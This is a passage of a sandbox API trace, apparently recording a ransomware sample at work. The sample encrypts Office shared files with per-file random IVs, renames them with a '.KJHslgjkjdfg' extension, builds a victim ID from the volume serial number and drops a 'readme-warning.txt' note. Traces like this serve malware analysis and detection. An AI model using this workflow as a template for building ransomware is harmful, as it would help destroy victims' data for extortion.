dwFlags=0x0) returned 1 [0144.239] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0144.239] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0xba5e, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0xba5e, lpOverlapped=0x0) returned 1 [0144.241] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0xba60, dwBufLen=0xba60 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0xba60) returned 1 [0144.241] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0144.242] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0xba60, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0xba60, lpOverlapped=0x0) returned 1 [0144.242] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0144.242] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0xbb34, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0144.242] SetEndOfFile (hFile=0x114) returned 1 [0144.245] GetProcessHeap () returned 0x2a0000 [0144.245] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0144.245] GetProcessHeap () returned 0x2a0000 [0144.245] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0144.245] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPWMI.MOF" (normalized: "c:\\program files\\common files\\microsoft shared\\officesoftwareprotectionplatform\\osppwmi.mof"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPWMI.MOF.KJHslgjkjdfg" (normalized: "c:\\program files\\common files\\microsoft shared\\officesoftwareprotectionplatform\\osppwmi.mof.kjhslgjkjdfg")) returned 1 [0144.246] CloseHandle (hObject=0x114) returned 1 [0144.246] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb169e000, ftCreationTime.dwHighDateTime=0x1ca911f, ftLastAccessTime.dwLowDateTime=0x6c23c830, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb169e000, ftLastWriteTime.dwHighDateTime=0x1ca911f, nFileSizeHigh=0x0, nFileSizeLow=0xba5e, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="OSPPWMI.MOF", cAlternateFileName="")) returned 0 [0144.247] GetProcessHeap () returned 0x2a0000 [0144.247] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0144.247] CryptImportKey (in: hProv=0x2bcb08, pbData=0x290f040, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2b829c | out: phKey=0x2b829c*=0x2c63a0) returned 1 [0144.247] CryptDecrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570, pdwDataLen=0x290f0a8 | out: pbData=0x2bf570, pdwDataLen=0x290f0a8) returned 1 [0144.247] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0144.247] GetProcessHeap () returned 0x2a0000 [0144.247] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf5b8 [0144.247] CryptImportKey (in: hProv=0x2bcb08, pbData=0x290f040, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2b829c | out: phKey=0x2b829c*=0x2c63a0) returned 1 [0144.247] CryptDecrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf5b8, pdwDataLen=0x290f0a8 | out: pbData=0x2bf5b8, pdwDataLen=0x290f0a8) returned 1 [0144.247] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0144.247] GetProcessHeap () returned 0x2a0000 [0144.247] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x3c0) returned 0x2f32d0 [0144.247] CryptImportKey (in: hProv=0x2bcb08, pbData=0x290f040, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2b829c | out: phKey=0x2b829c*=0x2c63a0) returned 1 [0144.247] CryptDecrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f32d0, pdwDataLen=0x290f0a8 | out: pbData=0x2f32d0, pdwDataLen=0x290f0a8) returned 1 [0144.247] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0144.247] GetProcessHeap () returned 0x2a0000 [0144.247] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf528 [0144.247] CryptImportKey (in: hProv=0x2bcb08, pbData=0x290ec18, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2b829c | out: phKey=0x2b829c*=0x2c63a0) returned 1 [0144.247] CryptDecrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf528, pdwDataLen=0x290ec88 | out: pbData=0x2bf528, pdwDataLen=0x290ec88) returned 1 [0144.247] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0144.248] GetProcessHeap () returned 0x2a0000 [0144.248] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x20) returned 0x2c1640 [0144.248] CryptImportKey (in: hProv=0x2bcb08, pbData=0x290ec18, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2b829c | out: phKey=0x2b829c*=0x2c63a0) returned 1 [0144.248] CryptDecrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2c1640, pdwDataLen=0x290ec88 | out: pbData=0x2c1640, pdwDataLen=0x290ec88) returned 1 [0144.248] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0144.248] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion", ulOptions=0x0, samDesired=0x20119, phkResult=0x290ec84 | out: phkResult=0x290ec84*=0x114) returned 0x0 [0144.248] RegQueryValueExA (in: hKey=0x114, lpValueName="ProductId", lpReserved=0x0, lpType=0x0, lpData=0x290ec90, lpcbData=0x290ec8c*=0x400 | out: lpType=0x0, lpData=0x290ec90*=0x30, lpcbData=0x290ec8c*=0x18) returned 0x0 [0144.248] RegCloseKey (hKey=0x114) returned 0x0 [0144.248] GetProcessHeap () returned 0x2a0000 [0144.248] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf528 | out: hHeap=0x2a0000) returned 1 [0144.248] GetProcessHeap () returned 0x2a0000 [0144.248] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2c1640 | out: hHeap=0x2a0000) returned 1 [0144.248] GetProcessHeap () returned 0x2a0000 [0144.248] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x20) returned 0x2c1640 [0144.248] CryptImportKey (in: hProv=0x2bcb08, pbData=0x290e9f8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2b829c | out: phKey=0x2b829c*=0x2c63a0) returned 1 [0144.248] CryptDecrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2c1640, pdwDataLen=0x290ea5c | out: pbData=0x2c1640, pdwDataLen=0x290ea5c) returned 1 [0144.248] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0144.248] GetEnvironmentVariableW (in: lpName="SystemDrive", lpBuffer=0x290ea60, nSize=0x104 | out: lpBuffer="C:") returned 0x2 [0144.249] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x0, lpVolumeSerialNumber=0x290ea58, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x290ea58*=0x9c354b42, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0144.249] GetProcessHeap () returned 0x2a0000 [0144.249] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2c1640 | out: hHeap=0x2a0000) returned 1 [0144.249] wsprintfA (in: param_1=0x290eca7, param_2="-%08X" | out: param_1="-9C354B42") returned 9 [0144.249] wsprintfA (in: param_1=0x290f0b4, param_2="%08X" | out: param_1="4B2E4630") returned 8 [0144.249] GetProcessHeap () returned 0x2a0000 [0144.249] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x3b4) returned 0x2f5720 [0144.249] wsprintfW (in: param_1=0x290e084, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\readme-warning.txt") returned 98 [0144.249] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\readme-warning.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\officesoftwareprotectionplatform\\readme-warning.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0144.250] WriteFile (in: hFile=0x114, lpBuffer=0x2f5720*, nNumberOfBytesToWrite=0x3b3, lpNumberOfBytesWritten=0x290e080, lpOverlapped=0x0 | out: lpBuffer=0x2f5720*, lpNumberOfBytesWritten=0x290e080*=0x3b3, lpOverlapped=0x0) returned 1 [0144.251] CloseHandle (hObject=0x114) returned 1 [0144.251] GetProcessHeap () returned 0x2a0000 [0144.251] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2f32d0 | out: hHeap=0x2a0000) returned 1 [0144.252] GetProcessHeap () returned 0x2a0000 [0144.252] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2f5720 | out: hHeap=0x2a0000) returned 1 [0144.252] GetProcessHeap () returned 0x2a0000 [0144.252] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf5b8 | out: hHeap=0x2a0000) returned 1 [0144.252] GetProcessHeap () returned 0x2a0000 [0144.252] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0144.252] FindClose (in: hFindFile=0x2c6260 | out: hFindFile=0x2c6260) returned 1 [0144.252] GetProcessHeap () returned 0x2a0000 [0144.252] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2c7d48 | out: hHeap=0x2a0000) returned 1 [0144.252] FindNextFileW (in: hFindFile=0x2c62e0, lpFindFileData=0x290f588 | out: lpFindFileData=0x290f588*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5b0da70, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x69e61cd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x69e61cd0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="PROOF", cAlternateFileName="")) returned 1 [0144.252] GetProcessHeap () returned 0x2a0000 [0144.252] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x7a) returned 0x2c22b0 [0144.252] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\PROOF\\*.*", lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5b0da70, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x69e61cd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x69e61cd0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x2c6260 [0144.253] GetProcessHeap () returned 0x2a0000 [0144.253] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2c22b0 | out: hHeap=0x2a0000) returned 1 [0144.253] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5b0da70, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x69e61cd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x69e61cd0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0144.253] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa07d0e00, ftCreationTime.dwHighDateTime=0x1ca2cea, ftLastAccessTime.dwLowDateTime=0x69e61cd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa07d0e00, ftLastWriteTime.dwHighDateTime=0x1ca2cea, nFileSizeHigh=0x0, nFileSizeLow=0x90540, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="MSLID.DLL", cAlternateFileName="")) returned 1 [0144.253] GetProcessHeap () returned 0x2a0000 [0144.253] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x27c) returned 0x2c7d48 [0144.253] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x782b2c00, ftCreationTime.dwHighDateTime=0x1bada3f, ftLastAccessTime.dwLowDateTime=0x98a53b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x782b2c00, ftLastWriteTime.dwHighDateTime=0x1bada3f, nFileSizeHigh=0x0, nFileSizeLow=0x6c67b, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="MSWDS_EN.LEX", cAlternateFileName="")) returned 1 [0144.254] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\PROOF\\MSWDS_EN.LEX" (normalized: "c:\\program files\\common files\\microsoft shared\\proof\\mswds_en.lex"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0144.255] GetProcessHeap () returned 0x2a0000 [0144.255] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0144.255] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0144.255] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0144.255] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0x5, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0x5, lpOverlapped=0x0) returned 1 [0144.261] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0144.261] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0144.261] GetProcessHeap () returned 0x2a0000 [0144.261] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0144.261] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0144.261] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0144.261] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0144.261] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0144.261] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0144.261] WriteFile (in: hFile=0x114, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0144.261] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0144.261] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0144.261] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0144.261] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0144.262] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0144.262] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x6c67b, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x6c67b, lpOverlapped=0x0) returned 1 [0144.272] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x6c680, dwBufLen=0x6c680 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x6c680) returned 1 [0144.278] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0144.278] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x6c680, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x6c680, lpOverlapped=0x0) returned 1 [0144.279] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0144.280] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x6c754, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0144.280] SetEndOfFile (hFile=0x114) returned 1 [0144.284] GetProcessHeap () returned 0x2a0000 [0144.284] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0144.284] GetProcessHeap () returned 0x2a0000 [0144.284] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0144.284] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\PROOF\\MSWDS_EN.LEX" (normalized: "c:\\program files\\common files\\microsoft shared\\proof\\mswds_en.lex"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\PROOF\\MSWDS_EN.LEX.KJHslgjkjdfg" (normalized: "c:\\program files\\common files\\microsoft shared\\proof\\mswds_en.lex.kjhslgjkjdfg")) returned 1 [0144.285] CloseHandle (hObject=0x114) returned 1 [0144.285] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe5e2ea00, ftCreationTime.dwHighDateTime=0x1bdf5d3, ftLastAccessTime.dwLowDateTime=0x5b0da70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe5e2ea00, ftLastWriteTime.dwHighDateTime=0x1bdf5d3, nFileSizeHigh=0x0, nFileSizeLow=0x60983, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="MSWDS_ES.LEX", cAlternateFileName="")) returned 1 [0144.285] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\PROOF\\MSWDS_ES.LEX" (normalized: "c:\\program files\\common files\\microsoft shared\\proof\\mswds_es.lex"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0144.285] GetProcessHeap () returned 0x2a0000 [0144.286] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0144.286] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0144.286] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0144.286] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0xd, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0xd, lpOverlapped=0x0) returned 1 [0144.289] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0144.289] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0144.289] GetProcessHeap () returned 0x2a0000 [0144.289] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0144.289] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0144.289] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0144.289] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0144.289] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0144.289] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0144.289] WriteFile (in: hFile=0x114, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0144.289] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0144.290] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0144.290] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0144.290] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0144.290] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0144.290] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x60983, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x60983, lpOverlapped=0x0) returned 1 [0144.299] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x60990, dwBufLen=0x60990 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x60990) returned 1 [0144.304] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0144.304] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x60990, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x60990, lpOverlapped=0x0) returned 1 [0144.306] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0144.306] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x60a64, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0144.306] SetEndOfFile (hFile=0x114) returned 1 [0144.310] GetProcessHeap () returned 0x2a0000 [0144.310] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0144.310] GetProcessHeap () returned 0x2a0000 [0144.310] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0144.310] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\PROOF\\MSWDS_ES.LEX" (normalized: "c:\\program files\\common files\\microsoft shared\\proof\\mswds_es.lex"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\PROOF\\MSWDS_ES.LEX.KJHslgjkjdfg" (normalized: "c:\\program files\\common files\\microsoft shared\\proof\\mswds_es.lex.kjhslgjkjdfg")) returned 1 [0144.321] CloseHandle (hObject=0x114) returned 1 [0144.321] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcf3c9300, ftCreationTime.dwHighDateTime=0x1bdf5d3, ftLastAccessTime.dwLowDateTime=0x78ced70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xcf3c9300, ftLastWriteTime.dwHighDateTime=0x1bdf5d3, nFileSizeHigh=0x0, nFileSizeLow=0x482ef, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="MSWDS_FR.LEX", cAlternateFileName="")) returned 1 [0144.321] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\PROOF\\MSWDS_FR.LEX" (normalized: "c:\\program files\\common files\\microsoft shared\\proof\\mswds_fr.lex"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0144.323] GetProcessHeap () returned 0x2a0000 [0144.323] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0144.323] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: 